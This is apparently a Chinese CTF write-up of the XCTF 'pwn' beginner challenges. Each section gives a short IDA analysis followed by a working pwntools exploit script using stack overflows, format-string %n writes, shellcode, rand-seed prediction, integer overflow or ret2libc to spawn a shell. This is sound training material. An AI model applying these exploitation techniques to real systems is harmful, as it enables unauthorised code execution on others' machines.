攻防世界pwn新手区 hello_pwn 照例查
IDA
分析if语句知道当dword_60106C=1853186401可以cat flag
可知unk…与dword…这俩变量都在.bss段,相隔4个字符,unk…是由我们输入的,可以利用其覆盖dword…的值就行,ROP直接打掉
exp:
1 2 3 4 5 6 7 8 from pwn import *r=remote('111.200.241.244' ,53218 ) payload='a' *4 +p64(1853186401 ) r.recvuntil("lets get helloworld for bof\n" ) r.sendline(payload) print r.recv()
level2 常规
IDA
跟进
读0x100,明显栈溢出,如出一辙跟进buf
所以buf距离ret的长度为0x88+0x04
发现system和/bin/sh,记录地址
将返回地址跳转至system函数再压入参数/bin/sh可以获得控制权
但是自己写exp的时候错了,查看wp发现漏了个p32(0)
1 2 3 4 5 6 7 8 from pwn import *r=remote('111.200.241.244' ,65098 ) sys=0x08048320 sh=0x0804A024 payload='a' *0x88 +'a' *4 +p32(sys)+p32(0 )+p32(sh) r.send(payload) r.interactive()
string 照例分析
往下运行
是一个很长的文字游戏,输到最后直接就结束了,拖IDA
大致分析得出v4是关键变量,跟进其函数
这就是那个界面了,三个函数分别点进去
第一个没什么用应该
第二个,看见printf,是有一个格式化字符串漏洞
第三个,if语句分析知道是要令a1=a1[1](a1是啥不知道)
最后得知,a1就是v4,可以利用函数指针来调用系统函数system(“/bin/sh”)来获取控制权限,但是system(“/bin/sh”)并不能被函数指针所理解,这里应该转化成机器码,用asm(shellcraft.sh())
回溯到main
只需要将v3[0] = 85或者v3[1] = 68,就是通过格式化字符串漏洞使数组的前两个数相等就可以调用函数了。这里选择是前者
需要注意的是:
这个是64位,前六个参数放寄存器,第七个参数开始放在栈中所以偏移量是7
exp就有了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(arch = 'amd64' , os = 'linux' ) r = remote("111.200.241.244" , 51763 ) r.recvuntil("secret[0] is " ) addr = int (r.recvuntil("\n" )[:-1 ], 16 ) r.sendlineafter("What should your character's name be:\n" , "aaa" ) r.sendlineafter("So, where you will go?east or up?:\n" , "east" ) r.sendlineafter("go into there(1), or leave(0)?:\n" , "1" ) r.sendlineafter("'Give me an address'" , str (addr)) r.recvuntil("And, you wish is:\n" ) payload = 'a' * 85 + "%7$n" r.sendline(payload) shellcode = asm(shellcraft.sh()) r.sendline(shellcode) r.interactive()
guess_num 知识补充:C++ rand 与 srand 的用法
照例
运行
拖IDA
循环,根据随机数计算的法则输入十个数,不相同就GG,相同就cat flag
考点为栈溢出
中间隔着0x20加seed四个字节
选择用“aaaa”覆盖掉seed,但是写脚本的时候要把aaaa转为十六进制即0x61616161
在Linux里根据IDA里随机数的计算法则写伪随机数脚本
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> int main () { int a, i; srand(0x61616161 ); for (i=0 ;i<10 ;i++){ a=rand()%6 +1 ; printf ("%d\n" ,a); } return 0 ; }
运行出来得到
直接完成一个简单的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *r = remote("111.200.241.244" , 60098 ) payload='a' *0x20 +"aaaa" r.sendlineafter("Your name:" ,payload) num=["5" ,"6" ,"4" ,"6" ,"6" ,"2" ,"3" ,"6" ,"2" ,"2" ] for i in range (10 ): r.sendlineafter("Please input your guess number:" ,num[i]) r.interactive()
法二:利用v7覆盖seed[0],使seed[0]已知,然后算法里循环,就拿到flag了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from ctypes import *context.log_level = 'debug' p = process('./guess_num' ) libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) payload = "a" * 0x20 + p64(0 ) p.recvuntil('name:' ) p.sendline(payload) libc.srand(1 ) for i in range (10 ): num = str (libc.rand()%6 +1 ) p.recvuntil('number:' ) p.sendline(num) p.interactive()
int_overflow 知识补充:整数溢出
照例查运行
吓得我以为要出flag
拖IDA跟进login
跟进strcpy()函数,发现存在栈溢出
可以知道dest距离ret的长度为0x14+4
然后又发现了cat flag
记录地址0x0804868b
利用整数溢出(在linux环境下,编译器会提醒溢出,但仍然会输出的值)返回ida查看变量v3的值为[3,8),而输入的密码变量s的长度为0x199,即十进制里的409,又因为v3的类型为unsigned _int8,即[8位无符号整数](https://zhidao.baidu.com/question/1818954413951622788.html#:~:text=8位二进制所能表示的无符号整数范围为0~255;8位二进制所能表示的带符号整数范围为-128~127。 无符号数 (Unsigned number)是相对于有符号数而言的,指的是整个机器字长的全部二进制位均表示数值位,相当于数的绝对值。 用二进制数的最高位表示符号,最高位是0,表示正数,最高位是1,表示负数。 这种说法本身没错,可是如果没有下文,那么它就是错的。 至少它不能解释,为什么字符类型的-1用二进制表示是“1111,1111” (16进制为FF);而不是我们更能理解的“1000 0001”。 有符号整数可表示正整数、0和负整数值。 其二进制编码方式包含 符号位 和 真值域。),最大值为255。所以v3的最大值为255且为无符号整数,所以当s长度为256时v3=0,所以s的输入长度为[259,264)即可符合v3的值
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r = remote("111.200.241.244" , 62179 ) sys=0x0804868b payload='a' *0x14 +'a' *4 +p32(sys) payload = payload.ljust(259 ,'a' ) r.sendlineafter("Your choice:" ,"1" ) r.sendlineafter("Please input your username:" ,"111" ) r.sendlineafter("Please input your passwd:" ,payload) r.interactive()
cgpwn2 知识补充:0xdeadbeef
常规操作
IDA跟进
发现gets,栈溢出。很快找到溢出点s
可知s距离ret长度为0x26+4,随后又记录下system的地址为08048420
不过system没有/bin/sh可以执行,不知道在哪里搞出来,查看wp
得知name在.bss里,可以把它写成/bin/sh
exp就有了
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r = remote("111.200.241.244" , 51159 ) r.sendlineafter('name' ,'/bin/sh' ) sys=0x08048420 sh=0x0804A080 payload='a' *0x26 +'a' *4 +p32(sys)+p32(0xdeadbeef )+p32(sh) r.sendlineafter("hello,you can leave some message here:" ,payload) r.interactive()
level3 照例
看IDA里有read和write,是ret2libc的题型,直接看wp
思路是通过read函数的栈溢出返回到write函数,利用write函数写出__libc_start_main在got表中的位置,利用LibcSearcher工具查找到相应的libc库,从而得到基地址,不过题目给了也不用工具
拿exp——
使用工具版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import LibcSearcherr=remote("" ) elf=ELF('./level3' ) write_plt = elf.plt['write' ] libc_start_main_got = elf.got['__libc_start_main' ] vuln = 0x0804844b r.recvline() payload1 = 'a' *140 +p32(write_plt) + p32(vuln) + p32(1 ) + p32(libc_start_main_got) + p32(4 ) r.sendline(payload1) libc_start_main_addr = u32(r.recv()[0 :4 ]) libc = LibcSearcher('__libc_start_main' , libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main' ) system = libcbase + libc.dump('system' ) binsh = libcbase + libc.dump('str_bin_sh' ) payload2 = flat(['a' *140 , system, 0xdeadbeef , binsh]) r.sendline(payload2) r.interactive()
使用题目库版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *r = remote("" ) elf=ELF('./level3' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main = elf.sym['main' ] r.recvline() payload1 = 'a' *140 +p32(write_plt) + p32(main) + p32(1 ) + p32(write_got) + p32(4 ) r.sendline(payload1) write_got_addr = u32(r.recv()[0 :4 ]) libc = ELF('./libc_32.so.6' ) libcbase = write_got_addr - libc.sym['write' ] system = libcbase + libc.sym['system' ] binsh = libc.search("/bin/sh" ).next () + libcbase payload2 = flat(['a' *140 , system, 0xdeadbeef , binsh]) r.sendline(payload2) r.interactive()
CGfsb 照例
IDA
if语句可以分析出来pwnme=8就可以cat flag,又发现了printf,存在格式化字符串漏洞,通过地址任意写,即把s的内容写成pwnme的地址即8,所以先记录下pwnme的地址
然后找偏移量
数出来是10,即任意写可为%10$n,又因为p32将地址转为4个字节,所以还差4个字节,用“aaaa”代替就行
exp
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r=remote("111.200.241.244" ,58931 ) r.sendlineafter("please tell me your name:" ,"hh" ) sys = 0x0804A068 payload = p32(sys)+"aaaa%10$n" r.sendlineafter("leave your message please:" ,payload) r.interactive()